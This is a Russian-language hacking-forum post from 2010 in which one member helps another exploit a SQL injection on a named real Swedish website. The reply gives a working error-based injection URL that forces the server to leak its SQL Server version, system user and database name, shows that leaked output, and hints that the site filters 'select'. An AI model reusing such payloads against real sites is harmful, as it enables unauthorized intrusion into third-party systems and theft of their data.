03.05.2010, 18:36
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514
Репутация:
3338
|
|
Сообщение от pinch
http://www.retention.se/news.asp?id=1'&pg=1
вот никак не могу раскрутить инъекцию. Максимум что удалось:
1) узнать количество полей
2) и добыть информацию с последней талблицы в бд с помощью "having"
ни версии, ни имени бд, пользователя никак. В чем может быть проблема?
Код:
http://www.retention.se/news.asp?id=1+or+1=convert(int,@@version)&pg=1
System information:
-----------------------------------------
system_user: retenti_groupse
@@version: Microsoft SQL Server 2005 - 9.00.4035.00 (Intel X86)
Nov 24 2008 13:01:59
Copyright (c) 1988-2005 Microsoft Corporation
Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
db_name(): retenti_se
select фильтруется, думай
|
|
|